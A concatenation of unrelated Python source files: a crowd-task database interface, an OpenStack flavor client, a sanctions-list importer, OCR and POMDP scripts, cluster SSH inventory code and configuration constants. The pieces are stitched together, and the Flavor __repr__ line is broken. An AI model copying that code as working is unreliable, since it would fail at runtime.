None ) -> List[Requester]: """find_requesters implementation""" raise NotImplementedError() @FIND_REQUESTERS_LATENCY.time() def find_requesters( self, requester_name: Optional[str] = None, provider_type: Optional[str] = None ) -> List[Requester]: """ Try to find any requester that matches the above. When called with no arguments, return all requesters. """ return self._find_requesters( requester_name=requester_name, provider_type=provider_type ) @abstractmethod def _new_worker(self, worker_name: str, provider_type: str) -> str: """new_worker implementation""" raise NotImplementedError() @NEW_WORKER_LATENCY.time() def new_worker(self, worker_name: str, provider_type: str) -> str: """ Create a new worker with the given name and provider type. Raises EntryAlreadyExistsException if there is already a worker with this name worker_name should be the unique identifier by which the crowd provider is using to keep track of this worker """ return self._new_worker(worker_name=worker_name, provider_type=provider_type) @abstractmethod def _get_worker(self, worker_id: str) -> Mapping[str, Any]: """get_worker implementation""" raise NotImplementedError() @GET_WORKER_LATENCY.time() def get_worker(self, worker_id: str) -> Mapping[str, Any]: """ Return worker's fields by worker_id, raise EntryDoesNotExistException if no id exists in workers See worker for the expected fields for the returned mapping """ return self._get_worker(worker_id=worker_id) @abstractmethod def _find_workers( self, worker_name: Optional[str] = None, provider_type: Optional[str] = None ) -> List[Worker]: """find_workers implementation""" raise NotImplementedError() @FIND_WORKERS_LATENCY.time() def find_workers( self, worker_name: Optional[str] = None, provider_type: Optional[str] = None ) -> List[Worker]: """ Try to find any worker that matches the above. When called with no arguments, return all workers. """ return self._find_workers(worker_name=worker_name, provider_type=provider_type) @abstractmethod def _new_agent( self, worker_id: str, unit_id: str, task_id: str, task_run_id: str, assignment_id: str, task_type: str, provider_type: str, ) -> str: """new_agent implementation""" raise NotImplementedError() @NEW_AGENT_LATENCY.time() def new_agent( self, worker_id: str, unit_id: str, task_id: str, task_run_id: str, assignment_id: str, task_type: str, provider_type: str, ) -> str: """ Create a new agent for the given worker id to assign to the given unit Raises EntryAlreadyExistsException Should update the unit's status to ASSIGNED and the assigned agent to this one. """ return self._new_agent( worker_id=worker_id, unit_id=unit_id, task_id=task_id, task_run_id=task_run_id, assignment_id=assignment_id, task_type=task_type, provider_type=provider_type, ) @abstractmethod def _get_agent(self, agent_id: str) -> Mapping[str, Any]: """get_agent implementation""" raise NotImplementedError() @GET_AGENT_LATENCY.time() def get_agent(self, agent_id: str) -> Mapping[str, Any]: """ Return agent's fields by agent_id, raise EntryDoesNotExistException if no id exists in agents See Agent for the expected fields for the returned mapping """ return self._get_agent(agent_id=agent_id) @abstractmethod def _update_agent(self, agent_id: str, status: Optional[str] = None) -> None: """update_agent implementation""" raise NotImplementedError() @UPDATE_AGENT_LATENCY.time() def update_agent(self, agent_id: str, status: Optional[str] = None) -> None: """ Update the given task with the given parameters if possible, raise appropriate exception otherwise. """ return self._update_agent(agent_id=agent_id, status=status) @abstractmethod def _find_agents( self, status: Optional[str] = None, unit_id: Optional[str] = None, worker_id: Optional[str] = None, task_id: Optional[str] = None, task_run_id: Optional[str] = None, assignment_id: Optional[str] = None, task_type: Optional[str] = None, provider_type: Optional[str] = None, ) -> List[Agent]: """find_agents implementation""" raise NotImplementedError() @FIND_AGENTS_LATENCY.time() def find_agents( self, status: Optional[str] = None, unit_id: Optional[str] = None, worker_id: Optional[str] = None, task_id: Optional[str] = None, task_run_id: Optional[str] = None, assignment_id: Optional[str] = None, task_type: Optional[str] = None, provider_type: Optional[str] = None, ) -> List[Agent]: """ Try to find any agent that matches the above. When called with no arguments, return all agents. """ return self._find_agents( status=status, unit_id=unit_id, worker_id=worker_id, task_id=task_id, task_run_id=task_run_id, assignment_id=assignment_id, task_type=task_type, provider_type=provider_type, ) @abstractmethod def _new_onboarding_agent( self, worker_id: str, task_id: str, task_run_id: str, task_type: str ) -> str: """new_onboarding_agent implementation""" raise NotImplementedError() @NEW_ONBOARDING_AGENT_LATENCY.time() def new_onboarding_agent( self, worker_id: str, task_id: str, task_run_id: str, task_type: str ) -> str: """ Create a new agent for the given worker id to assign to the given unit Raises EntryAlreadyExistsException Should update the unit's status to ASSIGNED and the assigned agent to this one. """ return self._new_onboarding_agent( worker_id=worker_id, task_id=task_id, task_run_id=task_run_id, task_type=task_type, ) @abstractmethod def _get_onboarding_agent(self, onboarding_agent_id: str) -> Mapping[str, Any]: """get_onboarding_agent implementation""" raise NotImplementedError() @GET_ONBOARDING_AGENT_LATENCY.time() def get_onboarding_agent(self, onboarding_agent_id: str) -> Mapping[str, Any]: """ Return onboarding agent's fields by onboarding_agent_id, raise EntryDoesNotExistException if no id exists in onboarding_agents See OnboardingAgent for the expected fields for the returned mapping """ return self._get_onboarding_agent(onboarding_agent_id=onboarding_agent_id) @abstractmethod def _update_onboarding_agent( self, onboarding_agent_id: str, status: Optional[str] = None ) -> None: """update_onboarding_agent implementation""" raise NotImplementedError() @UPDATE_ONBOARDING_AGENT_LATENCY.time() def update_onboarding_agent( self, onboarding_agent_id: str, status: Optional[str] = None ) -> None: """ Update the given onboarding agent with the given parameters if possible, raise appropriate exception otherwise. """ return self._update_onboarding_agent( onboarding_agent_id=onboarding_agent_id, status=status ) @abstractmethod def _find_onboarding_agents( self, status: Optional[str] = None, worker_id: Optional[str] = None, task_id: Optional[str] = None, task_run_id: Optional[str] = None, task_type: Optional[str] = None, ) -> List[OnboardingAgent]: """find_onboarding_agents implementation""" raise NotImplementedError() @FIND_ONBOARDING_AGENTS_LATENCY.time() def find_onboarding_agents( self, status: Optional[str] = None, worker_id: Optional[str] = None, task_id: Optional[str] = None, task_run_id: Optional[str] = None, task_type: Optional[str] = None, ) -> List[OnboardingAgent]: """ Try to find any onboarding agent that matches the above. When called with no arguments, return all onboarding agents. """ return self._find_onboarding_agents( status=status, worker_id=worker_id, task_id=task_id, task_run_id=task_run_id, task_type=task_type, ) @abstractmethod def _make_qualification(self, qualification_name: str) -> str: """make_qualification implementation""" raise NotImplementedError() @MAKE_QUALIFICATION_LATENCY.time() def make_qualification(self, qualification_name: str) -> str: """ Make a new qualification, throws an error if a qualification by the given name already exists. Return the id for the qualification. """ return self._make_qualification(qualification_name=qualification_name) @abstractmethod def _find_qualifications( self, qualification_name: Optional[str] = None ) -> List[Qualification]: """find_qualifications implementation""" raise NotImplementedError() @FIND_QUALIFICATIONS_LATENCY.time() def find_qualifications( self, qualification_name: Optional[str] = None ) -> List[Qualification]: """ Find a qualification. If no name is supplied, returns all qualifications. """ return self._find_qualifications(qualification_name=qualification_name) @abstractmethod def _get_qualification(self, qualification_id: str) -> Mapping[str, Any]: """get_qualification implementation""" raise NotImplementedError() @GET_QUALIFICATION_LATENCY.time() def get_qualification(self, qualification_id: str) -> Mapping[str, Any]: """ Return qualification's fields by qualification_id, raise EntryDoesNotExistException if no id exists in qualifications See Qualification for the expected fields for the returned mapping """ return self._get_qualification(qualification_id=qualification_id) @abstractmethod def _delete_qualification(self, qualification_name: str) -> None: """ Remove this qualification from all workers that have it, then delete the qualification """ raise NotImplementedError() @DELETE_QUALIFICATION_LATENCY.time() def delete_qualification(self, qualification_name: str) -> None: """ Remove this qualification from all workers that have it, then delete the qualification """ self._delete_qualification(qualification_name) for crowd_provider_name in get_valid_provider_types(): ProviderClass = get_crowd_provider_from_type(crowd_provider_name) provider = ProviderClass(self) provider.cleanup_qualification(qualification_name) @abstractmethod def _grant_qualification( self, qualification_id: str, worker_id: str, value: int = 1 ) -> None: """grant_qualification implementation""" raise NotImplementedError() @GRANT_QUALIFICATION_LATENCY.time() def grant_qualification( self, qualification_id: str, worker_id: str, value: int = 1 ) -> None: """ Grant a worker the given qualification. Update the qualification value if it already exists """ return self._grant_qualification( qualification_id=qualification_id, worker_id=worker_id, value=value ) @abstractmethod def _check_granted_qualifications( self, qualification_id: Optional[str] = None, worker_id: Optional[str] = None, value: Optional[int] = None, ) -> List[GrantedQualification]: """check_granted_qualifications implementation""" raise NotImplementedError() @CHECK_GRANTED_QUALIFICATIONS_LATENCY.time() def check_granted_qualifications( self, qualification_id: Optional[str] = None, worker_id: Optional[str] = None, value: Optional[int] = None, ) -> List[GrantedQualification]: """ Find granted qualifications that match the given specifications """ return self._check_granted_qualifications( qualification_id=qualification_id, worker_id=worker_id, value=value ) @abstractmethod def _get_granted_qualification( self, qualification_id: str, worker_id: str ) -> Mapping[str, Any]: """get_granted_qualification implementation""" raise NotImplementedError() @GET_GRANTED_QUALIFICATION_LATENCY.time() def get_granted_qualification( self, qualification_id: str, worker_id: str ) -> Mapping[str, Any]: """ Return the granted qualification in the database between the given worker and qualification id See GrantedQualification for the expected fields for the returned mapping """ return self._get_granted_qualification( qualification_id=qualification_id, worker_id=worker_id ) @abstractmethod def _revoke_qualification(self, qualification_id: str, worker_id: str) -> None: """revoke_qualification implementation""" raise NotImplementedError() @REVOKE_QUALIFICATION_LATENCY.time() def revoke_qualification(self, qualification_id: str, worker_id: str) -> None: """ Remove the given qualification from the given worker """ return self._revoke_qualification( qualification_id=qualification_id, worker_id=worker_id ) # Copyright 2010 """ Flavor interface. """ from novaclient import base class Flavor(base.Resource): """ A flavor is an available hardware configuration for a server. """ def __repr__(self): return "" % self.name class FlavorManager(base.ManagerWithFind): """ Manage :class:`Flavor` resources. """ resource_class = Flavor def list(self, detailed=True): """ Get a list of all flavors. :rtype: list of :class:`Flavor`. """ if detailed is True: return self._list("/flavors/detail", "flavors") else: return self._list("/flavors", "flavors") def get(self, flavor): """ Get a specific flavor. :param flavor: The ID of the :class:`Flavor` to get. :rtype: :class:`Flavor` """ return self._get("/flavors/%s" % base.getid(flavor), "flavor") def delete(self, flavor): """ Delete a specific flavor. :param flavor: The ID of the :class:`Flavor` to get. :param purge: Whether to purge record from the database """ self._delete("/flavors/%s" % base.getid(flavor)) def create(self, name, ram, vcpus, disk, flavorid, swap=0, rxtx_factor=1): """ Create (allocate) a floating ip for a tenant :param name: Descriptive name of the flavor :param ram: Memory in MB for the flavor :param vcpu: Number of VCPUs for the flavor :param disk: Size of local disk in GB :param flavorid: Integer ID for the flavor :param swap: Swap space in MB :param rxtx_factor: RX/TX factor :rtype: :class:`Flavor` """ body = { "flavor": { "name": name, "ram": int(ram), "vcpus": int(vcpus), "disk": int(disk), "id": int(flavorid), "swap": int(swap), "rxtx_factor": int(rxtx_factor), } } return self._create("/flavors", body, "flavor") import vaex import numpy as np def test_expression_expand(): ds = vaex.from_scalars(x=1, y=2) ds['r'] = ds.x * ds.y assert ds.r.expression == 'r' assert ds.r.variables() == {'x', 'y'} ds['s'] = ds.r + ds.x assert ds.s.variables() == {'x', 'y'} ds['t'] = ds.s + ds.y assert ds.t.variables() == {'x', 'y'} ds['u'] = np.arctan(ds.t) assert ds.u.variables() == {'x', 'y'} hardcoretech/csl import logging import os import re import time import traceback from logging.handlers import WatchedFileHandler import requests from elasticsearch import Elasticsearch from elasticsearch.exceptions import ConnectionError STOPWORDS = {'and', 'the', 'los'} COMMON_WORDS = { 'co', 'company', 'corp', 'corporation', 'inc', 'incorporated', 'limited', 'ltd', 'mr', 'mrs', 'ms', 'organization', 'sa', 'sas', 'llc', 'university', 'univ' } def make_names(doc): doc['name_idx'] = filter_alnum_and_space(doc['name']) doc['name_idx'] = remove_words(doc['name_idx'], STOPWORDS) if has_any_common_words(doc['name_idx']): make_names_with_common(doc, 'name') doc['name_rev'] = name_rev(doc['name']) doc['name_no_ws'] = doc['name_idx'].replace(' ', '') doc['name_no_ws_rev'] = doc['name_rev'].replace(' ', '') if doc['alt_names']: make_alt_names(doc) return doc def make_alt_names(doc): doc['alt_idx'] = [filter_alnum_and_space(n) for n in doc['alt_names']] doc['alt_idx'] = [remove_words(n, STOPWORDS) for n in doc['alt_idx']] if has_any_common_words(' '.join(doc['alt_idx'])): make_alt_names_with_common(doc) doc['alt_rev'] = [name_rev(n) for n in doc['alt_idx']] doc['alt_no_ws'] = [n.replace(' ', '') for n in doc['alt_idx']] doc['alt_no_ws_rev'] = [n.replace(' ', '') for n in doc['alt_rev']] def filter_alnum_and_space(name): return re.sub(r'[^a-zA-Z0-9 ]', '', name) def remove_words(name, words): return ' '.join([n for n in name.split() if n.lower() not in words]) def has_any_common_words(name): names = set(name.lower().split(' ')) return len(names.intersection(COMMON_WORDS)) > 0 def make_names_with_common(doc, prefix): doc[f'{prefix}_no_ws_with_common'] = doc[f'{prefix}_idx'].replace(' ', '') doc[f'{prefix}_no_ws_rev_with_common'] = name_rev(doc[f'{prefix}_idx']).replace(' ', '') doc[f'{prefix}_idx'] = remove_words(doc[f'{prefix}_idx'], COMMON_WORDS) def make_alt_names_with_common(doc): doc['alt_no_ws_with_common'] = [n.replace(' ', '') for n in doc['alt_idx']] doc['alt_no_ws_rev_with_common'] = [name_rev(n.replace(' ', '')) for n in doc['alt_idx']] doc['alt_idx'] = [remove_words(n, COMMON_WORDS) for n in doc['alt_idx']] def name_rev(name): names = name.split(' ') names.reverse() return ' '.join(names) def make_full_addresses(doc): if doc.get('addresses'): for addr in doc.get('addresses'): addr_info = [addr[k] for k in ['address', 'city', 'country', 'postal_code', 'state'] if addr[k]] addr['full_address'] = ', '.join(addr_info) if addr_info else None return doc def make_source_object(name, doc): """ "source": { "code": "ISN", "full_name": "Nonproliferation Sanctions (ISN) - State Department", } """ doc['source'] = { 'code': name, 'full_name': doc['source'], } return doc def get_json_data(url): r = requests.get(url) return r.json() logger = logging.getLogger('csl') logger.setLevel(logging.INFO) steam_handler = logging.StreamHandler() steam_handler.setLevel(logging.INFO) logger.addHandler(steam_handler) file_handler = WatchedFileHandler('/var/log/csl.log') file_handler.setLevel(logging.INFO) logger.addHandler(file_handler) class BaseImporter: ES_INDEX_NAME = None SOURCE_NAME = None def __init__(self, es) -> None: self._es = es if not self.SOURCE_NAME: raise NotImplementedError('no SOURCE_NAME') def do_import(self, data): _count = 0 docs = self.get_docs(data) for doc in docs: doc_id = doc.pop('id') doc = make_names(doc) doc = make_full_addresses(doc) doc = make_source_object(self.SOURCE_NAME, doc) self._es.index(index=self.ES_INDEX_NAME, body=doc, id=doc_id) _count += 1 es.indices.refresh(index=self.ES_INDEX_NAME) logger.info(f'Finish import {self.SOURCE_NAME}: {_count}') def get_docs(self, data): docs = filter(self.filter_source, data.get('results', [])) return docs def filter_source(self, doc) -> bool: raise NotImplementedError class ISNImporter(BaseImporter): ES_INDEX_NAME = 'isn' SOURCE_NAME = 'ISN' def filter_source(self, doc) -> bool: return f'({self.SOURCE_NAME})' in doc['source'] class NSMBSImporter(BaseImporter): ES_INDEX_NAME = 'mbs' SOURCE_NAME = 'MBS' def filter_source(self, doc) -> bool: return f'(NS-{self.SOURCE_NAME} List)' in doc['source'] SOURCE_IMPORTER_CLASSES = [ISNImporter, NSMBSImporter] def is_isn_source(doc) -> bool: return f'(ISN)' in doc['source'] if __name__ == '__main__': hosts = os.getenv('ELASTICSEARCH_HOST', 'localhost') port = os.environ.get('ELASTICSEARCH_PORT', 9200) es = Elasticsearch(hosts=hosts, port=port) source_importers = [importer_cls(es) for importer_cls in SOURCE_IMPORTER_CLASSES] while True: logger.info('Start import CSL source') try: if not es.ping(): raise ConnectionError json_data = get_json_data('https://api.trade.gov/static/consolidated_screening_list/consolidated.json') for importer in source_importers: importer.do_import(json_data) logger.info('Finish import CSL source') except ConnectionError: logger.error('Connect ES server failed') except Exception as e: logger.error(f'Import CSL source failed: {e}, {traceback.format_exc()}') time.sleep(1800) 0 from unittest import TestCase, main from yaaf.evaluation import Metric from yaaf.execution import TimestepRunner from openmdp.agents import MLSAgent, QMDPAgent from openmdp.scenarios.DuoNavigationPOMDP import DuoNavigationPOMDP class AccumulatedRewardMetric(Metric): def __init__(self): super().__init__("Accumulated Reward Metric") self._accumulator = 0.0 def __call__(self, timestep): self._accumulator += timestep.reward def reset(self): self._accumulator = 0.0 def result(self): return self._accumulator class POMDPTests(TestCase): @staticmethod def validate_pomdp(agent, pomdp, horizon, min_reward): metric = AccumulatedRewardMetric() runner = TimestepRunner(horizon, agent, pomdp, [metric]) runner.run() assert metric.result() > min_reward, f"POMDP was not solvable when partially observable (reward={metric.result()}" def test_mls_agent(self): pomdp = DuoNavigationPOMDP() agent = MLSAgent(pomdp) self.validate_pomdp(agent, pomdp, horizon=75, min_reward=0.0) def test_qmdp_agent(self): pomdp = DuoNavigationPOMDP() agent = QMDPAgent(pomdp) self.validate_pomdp(agent, pomdp, horizon=75, min_reward=0.0) if __name__ == '__main__': main() monomonedula/evrostan0 import io from abc import ABC, abstractmethod import click from loguru import logger from pathlib import Path from typing import List, NamedTuple from paddleocr import PaddleOCR from google.cloud import vision class Pano: def __init__(self, path: Path): self._path: Path = path def pics(self) -> List[Path]: return [ p for p in self._path.iterdir() if p.is_file() ] def id(self) -> str: return self._path.parts[-1] class Inspection(ABC): @abstractmethod def text_of(self, p: Path) -> List[str]: pass class InspectionPaddle(Inspection): def __init__(self, ocr: PaddleOCR): self._ocr: PaddleOCR = ocr def text_of(self, p: Path) -> List[str]: out = [] txts = self._text_of(p) return interesting(txts) def _text_of(self, p: Path) -> List[str]: return [ record[1][0].lower() for record in self._ocr.ocr(str(p)) ] class InspectionGoogle(Inspection): def __init__(self): self._client = vision.ImageAnnotatorClient() def text_of(self, p: Path) -> List[str]: txts = self._text_of(p) for txt in txts: logger.info(f"Found: {txt!r}") return interesting(txts) def _text_of(self, p: Path) -> List[str]: with io.open(p, "rb") as image_file: content = image_file.read() image = vision.Image(content=content) return [ t.description for t in self._client.text_detection(image=image, image_context={"language_hints": ["uk"]}).text_annotations ] def interesting(words: List[str]) -> List[str]: return [ t for t in words if "евро" in t or "евро" in t or "euro" in t ] class PreInspection(ABC): @abstractmethod def has_text(self, p: Path) -> bool: pass class SmartInspection(Inspection): def __init__(self, pre_inspection: PreInspection, costly_inspection: Inspection): self._pre: PreInspection = pre_inspection self._inspection: Inspection = costly_inspection def text_of(self, p: Path) -> List[str]: if self._pre.has_text(p): return self._inspection.text_of(p) return [] class FoundItem(NamedTuple): text: str pano_id: str class Catalogue: def __init__(self, path: Path): self._path: Path = path def panos(self) -> List[Pano]: return [ Pano(p) for p in self._path.iterdir() if p.is_dir() ] def inspect_via(self, inspection: Inspection) -> List[FoundItem]: out = [] panos = self.panos() for i, pano in enumerate(panos): logger.info(f"Looking at pano {i} of {len(panos)} ...") for path in pano.pics(): for text in inspection.text_of(path): logger.info(f"Got {text!r} on {pano.id()}.") out.append(FoundItem(text, pano.id())) return out def validate_inspection(ctx, param, value): valid = ("google", "paddle") if value not in valid: raise click.BadParameter(f"inspection must be one of {valid}") @click.command() @click.argument('catalogue_path') @click.option('--inspection', default="google", callback=validate_inspection) def main(catalogue_path: str, inspection: str): out = Catalogue( Path(catalogue_path), ).inspect_via( InspectionGoogle() if inspection == "google" else InspectionPaddle( PaddleOCR(lang="uk") ) ) for txt, pano_id in out: print(txt, pano_id) if __name__ == '__main__': main() # # MIT License # # (C) Copyright 2022 Hewlett Packard Enterprise Development LP # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL # THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR # OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, # ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR # OTHER DEALINGS IN THE SOFTWARE. # from pyscripts.core.csm_api_utils import get_api_gateway_uri, get_access_token, CsmApiError from pyscripts.core.ssh.ssh_host import SshHost import requests import urllib3 import json import sys import logging urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class SshTargets: """ Maintains categorized lists of hardware that we can SSH into. Populated with SLS dumpstate. Each item in an array is an SshHost that can be used with SshConnection. """ def __init__(self): self.ncn_master = [] self.ncn_worker = [] self.ncn_storage = [] self.cn = [] self.uan = [] self.uai = [] self.spine_switch = [] self.leaf_switch = [] self.leaf_BMC = [] self.CDU = [] self.byHostname = {} self.byXname = {} def refresh(self): """ Refreshes the hardware state in memory """ # first sync using the dumpstate API from SLS self.__sync_sls_dump_state() # now match up the actual state self.__sync_hsm_state_component_list() def __sync_hsm_state_component_list(self): headers = { 'Authorization': "Bearer " + get_access_token() } hsm_state_list_url = "{}/smd/hsm/v2/State/Components".format(get_api_gateway_uri()) try: r = requests.request("GET", hsm_state_list_url, headers = headers, verify = False) except Exception as err: logging.error(f"An unanticipated exception occurred while retrieving HSM State Components {err}") raise CsmApiError from None if r.status_code != 200: logging.error("Got HTTP {} when accessing {}".format(r.status_code, hsm_state_list_url)) raise CsmApiError from None data = r.json()["Components"] for i in range(len(data)): hsm_state = data[i] xname = hsm_state["ID"] if xname in self.byXname: host = self.byXname[xname] host.set_state(hsm_state["State"]) def __sync_sls_dump_state(self): headers = { 'Authorization': "Bearer " + get_access_token() } dumpstate_url = "{}/sls/v1/dumpstate".format(get_api_gateway_uri()) try: r = requests.request("GET", dumpstate_url, headers = headers, verify = False) except Exception as err: logging.error(f"An unanticipated exception occurred while dumping SLS hardware state {err}") raise CsmApiError from None if r.status_code != 200: logging.error("Got HTTP {} when accessing {}".format(r.status_code, dumpstate_url)) raise CsmApiError from None data = r.json()["Hardware"] self.ncn_master = [] self.ncn_worker = [] self.ncn_storage = [] self.cn = [] self.uan = [] self.uai = [] self.spine_switch = [] self.leaf_switch = [] self.leaf_BMC = [] self.CDU = [] self.byHostname = {} self.byXname = {} # Comment out to debug the retrieved data # with open('data.json', 'w', encoding='utf-8') as f: # json.dump(data, f, ensure_ascii=False, indent=4) for xname in data: x = data[xname] if x["Type"] == "comptype_node" and x["ExtraProperties"]["Role"] == "Compute": host = SshHost(x["ExtraProperties"]["Aliases"][0], "root", x) self.cn.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_node" and x["ExtraProperties"]["Role"] == "Management" and x["ExtraProperties"]["SubRole"] == "Master": host = SshHost(x["ExtraProperties"]["Aliases"][0], "root", x) self.ncn_master.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_node" and x["ExtraProperties"]["Role"] == "Management" and x["ExtraProperties"]["SubRole"] == "Storage": host = SshHost(x["ExtraProperties"]["Aliases"][0], "root", x) self.ncn_storage.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_node" and x["ExtraProperties"]["Role"] == "Management" and x["ExtraProperties"]["SubRole"] == "Worker": host = SshHost(x["ExtraProperties"]["Aliases"][0], "root", x) self.ncn_worker.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_node" and x["ExtraProperties"]["Role"] == "Application" and x["ExtraProperties"]["SubRole"] == "UAN": host = SshHost(x["ExtraProperties"]["Aliases"][0], "root", x) self.uan.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_hl_switch" and len(x["ExtraProperties"]["Aliases"]) > 0 and "leaf" in x["ExtraProperties"]["Aliases"][0]: host = SshHost(x["ExtraProperties"]["Aliases"][0], "admin", x) self.leaf_switch.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_hl_switch" and len(x["ExtraProperties"]["Aliases"]) > 0 and "spine" in x["ExtraProperties"]["Aliases"][0]: host = SshHost(x["ExtraProperties"]["Aliases"][0], "admin", x) self.spine_switch.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_mgmt_switch" and len(x["ExtraProperties"]["Aliases"]) > 0 and "leaf-bmc" in x["ExtraProperties"]["Aliases"][0]: host = SshHost(x["ExtraProperties"]["Aliases"][0], "admin", x) self.leaf_BMC.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host elif x["Type"] == "comptype_cdu_mgmt_switch": host = SshHost(x["ExtraProperties"]["Aliases"][0], "admin", x) self.CDU.append(host) self.byHostname[host.hostname] = host self.byXname[xname] = host cgeene/jumpcloud-interview0 from flask import current_app import requests def generic_request(request, method, path, kwargs): response = requests.request( method, current_app.config["JUMPCLOUD_BASE_URL"] + path, headers=request.headers, **kwargs ) return response.json() def get_users(request): kwargs = {"params": request.args} return generic_request(request, "GET", "/systemusers", kwargs) def create_user(request): kwargs = {"json": request.json} return generic_request(request, "POST", "/systemusers", kwargs) def get_user_by_id(request, id): return generic_request(request, "GET", "/systemusers/" + id, {}) def update_user(request, id): kwargs = {"json": request.json} return generic_request(request, "PUT", "/systemusers/" + id, kwargs) def delete_user(request, id): return generic_request(request, "DELETE", "/systemusers/" + id, {}) def get_user_count(request): kwargs = {"params": {"limit": 1}} response = generic_request(request, "GET", "/systemusers", kwargs) return {"totalCount": response["totalCount"]} glistening/ONE-1 import tensorflow as tf tf.compat.v1.disable_eager_execution() in_ = tf.compat.v1.placeholder(dtype=tf.bool, shape=(2, 2), name="Hole") op_ = tf.compat.v1.math.reduce_any(in_) # encoding: utf-8 from __future__ import division, absolute_import, with_statement, print_function from . import main from flask import render_template @main.app_errorhandler(404) def page_not_found(e): return render_template('error/404.html'), 404 @main.app_errorhandler(500) def internal_server_error(e): return render_template('error/error.html'), 500 AdaptivePELE/constants/blockNames.py class ClusteringTypes: type = "type" params = "params" rmsd = "rmsd" contactMap = "contactMap" lastSnapshot = "lastSnapshot" null = "null" MSMClustering = "MSM" thresholdCalculator = "thresholdCalculator" ligandResname = "ligandResname" ligandResnum = "ligandResnum" ligandChain = "ligandChain" alternativeStructure = "alternativeStructure" contactThresholdDistance = "contactThresholdDistance" nclusters = "nclusters" similarityEvaluator = "similarityEvaluator" differenceDistance = "differenceDistance" Jaccard = "Jaccard" correlation = "correlation" symmetries = "symmetries" tica = "tica" atom_Ids = "atom_Ids" writeCA = "writeCA" sidechains = "sidechains" tica_lagtime = "tica_lagtime" tica_nICs = "tica_nICs" tica_kinetic_map = "tica_kinetic_map" tica_commute_map = "tica_commute_map" class ThresholdCalculator: type = "type" params = "params" heaviside = "heaviside" constant = "constant" class ThresholdCalculatorParams: conditions = "conditions" values = "values" value = "value" class DensityCalculator: type = "type" params = "params" heaviside = "heaviside" null = "null" constant = "constant" continuous = "continuous" exitContinuous = "exitContinuous" class DensityCalculatorParams: conditions = "conditions" values = "values" class StringSpawningTypes: type = "type" independent = "independent" independentMetric = "independentMetric" sameWeight = "sameWeight" inverselyProportional = "inverselyProportional" epsilon = "epsilon" fast = "FAST" simulatedAnnealing = "simulatedAnnealing" variableEpsilon = "variableEpsilon" UCB = "UCB" REAP = "REAP" null = "null" ProbabilityMSMCalculator = "ProbabilityMSM" MetastabilityMSMCalculator = "MetastabilityMSM" UncertaintyMSMCalculator = "UncertaintyMSM" IndependentMSMCalculator = "IndependentMSM" class SpawningParams: params = "params" epsilon = "epsilon" temperature = "T" threshold = "threshold" report_filename = "reportFilename" report_col = "metricColumnInReport" minValue = "min" maxValue = "max" condition = "condition" # New parameters for variable epsilon(experimental) varEpsilonType = "varEpsilonType" maxEpsilon = "maxEpsilon" minEpsilon = "minEpsilon" variationWindow = "variationWindow" # Last epoch of variable epsilon,if # current epoch > than variation Window, set epsilon to minEpsilon maxEpsilonWindow = "maxEpsilonWindow" period = "period" # Only useful for periodic epsilon modes density = "density" metricWeights = "metricWeights" linear = "linear" boltzmann = "boltzmann" alpha = "alpha" nclusters = "n" metricsInd = "metricsInd" lagtime = "lagtime" minPos = "minPos" SASA_column = "SASA_column" filterByMetric = "filterByMetric" filter_value = "filter_value" filter_col = "filter_col" class SpawningDensity: values = "values" conditions = "conditions" class VariableEpsilonTypes: linearVariation = "linearVariation" contactsVariation = "contactsVariation" class SimulationType: type = "type" pele = "pele" md = "md" test = "test" class SimulationParams: params = "params" processors = "processors" time = "time" executable = "executable" templetizedControlFile = "controlFile" dataFolder = "data" documentsFolder = "documents" destination = "destination" origin = "origin" seed = "seed" peleSteps = "peleSteps" iterations = "iterations" exitCondition = "exitCondition" metricCol = "metricCol" exitValue = "exitValue" trajectories = "trajectories" modeMovingBox = "modeMovingBox" modeMovingBoxBinding = "binding" modeMovingBoxUnBinding = "unbinding" equilibrationMode = "equilibrationMode" equilibrationLastSnapshot = "equilibrationLastSnapshot" equilibrationSelect = "equilibrationSelect" equilibrationCluster = "equilibrationCluster" numberEquilibrationStructures = "numberEquilibrationStructures" boxCenter = "boxCenter" boxRadius = "boxRadius" runEquilibration = "runEquilibration" condition = "condition" numTrajs = "numberTrajectories" equilibrationLength = "equilibrationLength" trajectoryName = "trajectoryName" srun = "useSrun" srunParameters = "srunParameters" mpiParameters = "mpiParameters" # params for MD ligandCharge = "ligandCharge" nonBondedCutoff = "nonBondedCutoff" Temperature = "temperature" runningPlatform = "runningPlatform" minimizationIterations = "minimizationIterations" repoterfreq = "reporterFrequency" productionLength = "productionLength" waterBoxSize = "WaterBoxSize" trajsPerReplica = "trajectoriesPerReplica" numReplicas = "numReplicas" timeStep = "timeStep" equilibrationLengthNVT = "equilibrationLengthNVT" equilibrationLengthNPT = "equilibrationLengthNPT" constraintsMin = "constraintsMinimization" constraintsNVT = "constraintsNVT" constraintsNPT = "constraintsNPT" devicesPerTrajectory = "devicesPerTrajectory" forcefield = "forcefield" customparamspath = "customparamspath" maxDevicesPerReplica = "maxDevicesPerReplica" format = "format" ligandName = "ligandName" constraints = "constraints" class ExitConditionType: type = "type" metric = "metric" clustering = "clustering" metricMultipleTrajs = "metricMultipleTrajectories" class ControlFileParams: 